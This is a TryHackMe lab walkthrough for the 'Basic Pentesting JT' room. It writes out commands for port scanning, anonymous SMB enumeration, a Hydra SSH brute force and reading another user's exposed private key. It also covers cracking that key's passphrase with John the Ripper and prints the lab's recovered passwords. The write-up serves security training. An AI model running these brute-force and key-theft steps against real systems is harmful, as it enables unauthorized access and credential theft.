October 13, 2026

Basic Pentesting JT: Complete TryHackMe Walkthrough

Pentesting isn’t always about exploiting complex vulnerabilities. Sometimes, exposed files, weak credentials, and incorrect permissions are…

By Safeer Husain Zaidi

3 min read

Pentesting isn't always about exploiting complex vulnerabilities. Sometimes, exposed files, weak credentials, and incorrect permissions are enough to gain access to a machine.

In this walkthrough, I'll cover the Basic Pentesting JT room on TryHackMe, from initial reconnaissance to accessing user accounts and discovering credentials through SSH key analysis.

Step 1: Setting Up the Environment

I launched the TryHackMe room, started the target machine, and connected my attacking machine to the appropriate lab network.

I stored the target IP in an environment variable to avoid repeatedly typing it.

export IP=<TARGET_IP>

Check connectivity:

ping -c 4 "$IP"

Open the target in your browser:

http://<TARGET_IP>

Replace <TARGET_IP> with the IP assigned to your TryHackMe machine.

Step 2: Scanning Open Ports

I used Nmap to identify open ports, running services, and default service configurations.

nmap -sC -sV -p- "$IP"

The results help identify services that need further investigation, particularly HTTP, SSH, and SMB.

Step 3: Enumerating Web Directories

Next, I used Feroxbuster to discover hidden directories and files.

feroxbuster -u "http://$IP" -w /usr/share/seclists/Discovery/Web-Content/common.txt

If the wordlist isn't available, install SecLists or use another existing directory-enumeration wordlist.

I inspected interesting paths in the browser and continued investigating the services identified during the scan.

Step 4: Enumerating SMB Shares

SMB (Server Message Block) allows systems to share files and resources over a network.

I checked which shares were accessible without authentication:

smbclient -L "//$IP" -N

After identifying the accessible share, I connected to it. In this lab, the share is commonly named Anonymous.

smbclient "//$IP/Anonymous" -N

Inside the SMB session, I listed the available files:

ls

I downloaded the relevant files:

get staff.txt
get j.txt
exit

If either file is located in a subdirectory, navigate to that directory before downloading it.

Back on the attacking machine, I inspected the files:

cat staff.txt
cat j.txt

The files provided information about the target and revealed two usernames: Jan and Kay.

Step 5: Finding Jan's Password

With Jan's username identified, I used Hydra to test SSH authentication against a password wordlist.

First, I checked whether the RockYou wordlist was available:

ls -l /usr/share/wordlists/rockyou.txt*

If only the compressed version existed, I extracted it:

sudo gzip -dk /usr/share/wordlists/rockyou.txt.gz

I then ran Hydra against the SSH service:

hydra -l jan -P /usr/share/wordlists/rockyou.txt "ssh://$IP"

The test revealed Jan's credentials:

  • Username: jan
  • Password: Armando

Step 6: Logging in Through SSH

I used the recovered credentials to access the target:

ssh "jan@$IP"

I entered Jan's password when prompted.

Once connected, I started examining the filesystem and investigating Kay's account.

Step 7: Locating Kay's SSH Private Key

I checked Kay's home directory and SSH configuration directory:

ls -la /home/kay/
ls -la /home/kay/.ssh/

The investigation revealed Kay's private SSH key, id_rsa.

The key was readable from Jan's account because of incorrect file permissions.

I checked whether Jan could read the key:

cat /home/kay/.ssh/id_rsa

If the key was readable, I copied its contents into a local file on my attacking machine named id_rsa.txt.

Important: Commands run inside Jan's SSH session execute on the target machine. Commands run in a separate terminal execute on your attacking machine.

On the attacking machine, I secured the local copy:

chmod 600 id_rsa.txt

This prevents SSH from rejecting the key because its local permissions are too broad.

Step 8: Preparing the SSH Key for John the Ripper

Kay's private key was protected by a passphrase. I used ssh2john to convert it into a format that John the Ripper could process.

On Kali Linux, the script is commonly available at:

python /usr/share/john/ssh2john.py id_rsa.txt > hash.txt

If Python cannot find the script, locate it:

find /usr/share/john -name 'ssh2john.py' 2>/dev/null

Use the path returned by this command to run the conversion.

Step 9: Cracking the Passphrase

I used John the Ripper with the RockYou wordlist:

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

To display the recovered result:

john --show hash.txt

The recovered passphrase was:

beeswax

This passphrase unlocks Kay's private key. It is not necessarily Kay's Linux account password.

Step 10: Logging in as Kay

With the private key and its passphrase available, I attempted SSH authentication as Kay:

ssh -i id_rsa.txt "kay@$IP"

I entered beeswax when prompted for the private key's passphrase.

After successfully logging in, I inspected Kay's home directory:

ls -la

Step 11: Finding the Final Password

I found a backup file named pass.bak and read its contents:

cat pass.bak

The file contained the following password:

heresareallystrongpasswordthatfollowsthepasswordpolicy$$

This completed the credential-discovery process.

Key Takeaways

  • Enumeration matters: Nmap, Feroxbuster, and SMB enumeration revealed useful information.
  • Weak credentials are dangerous: Password guessing provided initial access.
  • File permissions matter: Kay's exposed private key enabled access to another account.
  • SSH key protection matters: A guessable passphrase can weaken the security of an exposed private key.
  • Credential storage matters: A backup file exposed a password that should not have been stored in plaintext.

Final Thoughts

The Basic Pentesting JT room demonstrates how several small security weaknesses can connect to create a larger compromise.

An exposed SMB share revealed usernames, a weak password provided initial access, and an inadequately protected SSH key opened the way to Kay's account.

The main lesson is simple: good pentesting is about connecting findings, not just running tools.

This walkthrough was performed in the TryHackMe lab environment for educational purposes. These techniques should only be used on systems you are authorized to assess.